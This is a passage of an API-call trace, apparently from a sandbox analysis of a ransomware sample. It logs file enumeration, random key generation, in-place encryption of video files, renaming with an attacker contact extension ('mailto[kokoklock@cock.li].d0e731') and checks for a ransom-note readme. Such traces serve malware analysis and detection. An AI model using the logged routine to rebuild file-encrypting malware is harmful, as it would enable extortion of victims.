lpNumberOfBytesWritten=0x2397fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x2397fa7c*=0x8, lpOverlapped=0x0) returned 1 [0176.212] WriteFile (in: hFile=0x8c4, lpBuffer=0x2397fa94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2397fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2397fa94*, lpNumberOfBytesWritten=0x2397fa7c*=0x4, lpOverlapped=0x0) returned 1 [0176.212] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2397fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2397fa7c*=0x4, lpOverlapped=0x0) returned 1 [0176.213] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2397fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2397fa7c*=0x6c, lpOverlapped=0x0) returned 1 [0176.213] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2397fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x2397fa7c*=0x20, lpOverlapped=0x0) returned 1 [0176.213] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2397fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2397fa7c*=0x4, lpOverlapped=0x0) returned 1 [0176.213] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.213] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94bf8) returned 1 [0176.213] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.213] CloseHandle (hObject=0x8c4) returned 1 [0176.213] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x134) returned 0x2fa0c60 [0176.213] wcscpy (in: _Dest=0x2fa0c60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731" [0176.213] wcscat (in: _Dest=0x2fa0c60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.213] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\vpo011neowas8sxm.avi.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\vpo011neowas8sxm.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.214] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.214] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c60) returned 1 [0176.214] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.214] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f835c8 [0176.214] wcscpy (in: _Dest=0x2f835c8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0176.214] wcscat (in: _Dest=0x2f835c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0176.215] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0176.215] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f835c8) returned 1 [0176.215] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85018) returned 1 [0176.215] RtlExitUserThread (Status=0x1) Thread: id = 2453 os_tid = 0xeb4 [0176.216] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\6cg7h xzr912b_8fbw.mkv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.217] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\6cg7h xzr912b_8fbw.mkv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c4 [0176.218] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x239fff08 | out: lpFileSize=0x239fff08*=92484) returned 1 [0176.218] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x16940, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.218] ReadFile (in: hFile=0x8c4, lpBuffer=0x239ffedc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x239ffed8, lpOverlapped=0x0 | out: lpBuffer=0x239ffedc*, lpNumberOfBytesRead=0x239ffed8*=0x4, lpOverlapped=0x0) returned 1 [0176.219] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94bf8 [0176.219] NtQuerySystemTime (in: CurrentTime=0x239ffeb4 | out: CurrentTime=0x239ffeb4*=132121213335331110) returned 0x0 [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xf5ee2521 [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x9298d4a9 [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xe9ccef1e [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x54f4b27b [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x80b3a90 [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xce36c034 [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xb187f2bd [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xb9ca5c3f [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xe2d99fb3 [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x2916d5b0 [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x6a90ef4a [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x78b6558c [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x7e63a5db [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x58e875f9 [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x49834c08 [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x724c476 [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xccef7c31 [0176.219] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x6f7ce0f8 [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x9d2d8b2b [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x5d2710e7 [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x38b1a501 [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x464ed8c2 [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x14d40a25 [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x300ed031 [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0x953b02a4 [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xb293d19b [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xe76d7fd6 [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xe44d14f6 [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xecfedb3 [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xaa374080 [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xcc5cde4c [0176.220] RtlRandom (in: Seed=0x239ffec0 | out: Seed=0x239ffec0) returned 0xed267642 [0176.230] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.230] ReadFile (in: hFile=0x8c4, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x239ffe8c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x239ffe8c*=0x4096, lpOverlapped=0x0) returned 1 [0176.231] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94c98 [0176.231] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.232] WriteFile (in: hFile=0x8c4, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x239ffe8c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x239ffe8c*=0x4096, lpOverlapped=0x0) returned 1 [0176.232] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.232] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x16944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.232] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94c98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x239ffec4, lpOverlapped=0x0 | out: lpBuffer=0x2f94c98*, lpNumberOfBytesWritten=0x239ffec4*=0x20, lpOverlapped=0x0) returned 1 [0176.233] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c98) returned 1 [0176.233] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.233] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x239ffed8, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x239ffed8*=0x8, lpOverlapped=0x0) returned 1 [0176.233] WriteFile (in: hFile=0x8c4, lpBuffer=0x239ffef0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x239ffed8, lpOverlapped=0x0 | out: lpBuffer=0x239ffef0*, lpNumberOfBytesWritten=0x239ffed8*=0x4, lpOverlapped=0x0) returned 1 [0176.233] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x239ffed8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x239ffed8*=0x4, lpOverlapped=0x0) returned 1 [0176.233] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x239ffed8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x239ffed8*=0x6c, lpOverlapped=0x0) returned 1 [0176.233] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x239ffed8, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x239ffed8*=0x20, lpOverlapped=0x0) returned 1 [0176.234] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x239ffed8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x239ffed8*=0x4, lpOverlapped=0x0) returned 1 [0176.234] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.234] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c20) returned 1 [0176.234] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.234] CloseHandle (hObject=0x8c4) returned 1 [0176.234] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2fa0c60 [0176.234] wcscpy (in: _Dest=0x2fa0c60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731" [0176.234] wcscat (in: _Dest=0x2fa0c60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.234] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\6cg7h xzr912b_8fbw.mkv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\6cg7h xzr912b_8fbw.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.235] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.235] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c60) returned 1 [0176.235] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\6CG7H xzR912b_8fBW.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.235] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc2) returned 0x2fc2f98 [0176.235] wcscpy (in: _Dest=0x2fc2f98, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0176.235] wcscat (in: _Dest=0x2fc2f98, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" [0176.235] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\d0e731-readme.txt")) returned 0x20 [0176.235] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2f98) returned 1 [0176.235] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d4f8) returned 1 [0176.236] RtlExitUserThread (Status=0x1) Thread: id = 2454 os_tid = 0xeb8 [0176.237] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc4) returned 0x2fc3af8 [0176.237] wcscpy (in: _Dest=0x2fc3af8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0176.237] wcscat (in: _Dest=0x2fc3af8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0176.237] wcscat (in: _Dest=0x2fc3af8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\*" [0176.237] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30207d8 [0176.237] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\*", lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe79ee40, ftCreationTime.dwHighDateTime=0x1d4d114, ftLastAccessTime.dwLowDateTime=0x8c542108, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c542108, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f804a0 [0176.238] wcscmp (_String1=".", _String2=".") returned 0 [0176.238] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe79ee40, ftCreationTime.dwHighDateTime=0x1d4d114, ftLastAccessTime.dwLowDateTime=0x8c542108, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c542108, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.239] wcscmp (_String1="..", _String2=".") returned 1 [0176.239] wcscmp (_String1="..", _String2="..") returned 0 [0176.239] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa0a3dc0, ftCreationTime.dwHighDateTime=0x1d4c69c, ftLastAccessTime.dwLowDateTime=0x5183a9d0, ftLastAccessTime.dwHighDateTime=0x1d4cda8, ftLastWriteTime.dwLowDateTime=0x8b0b1298, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2f2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="AJDRXA~1.D0E")) returned 1 [0176.239] wcscmp (_String1="AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.239] wcscmp (_String1="AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.239] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x11c) returned 0x2fa5100 [0176.239] wcscpy (in: _Dest=0x2fa5100, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0176.239] wcscat (in: _Dest=0x2fa5100, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0176.239] wcscat (in: _Dest=0x2fa5100, _Source="AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 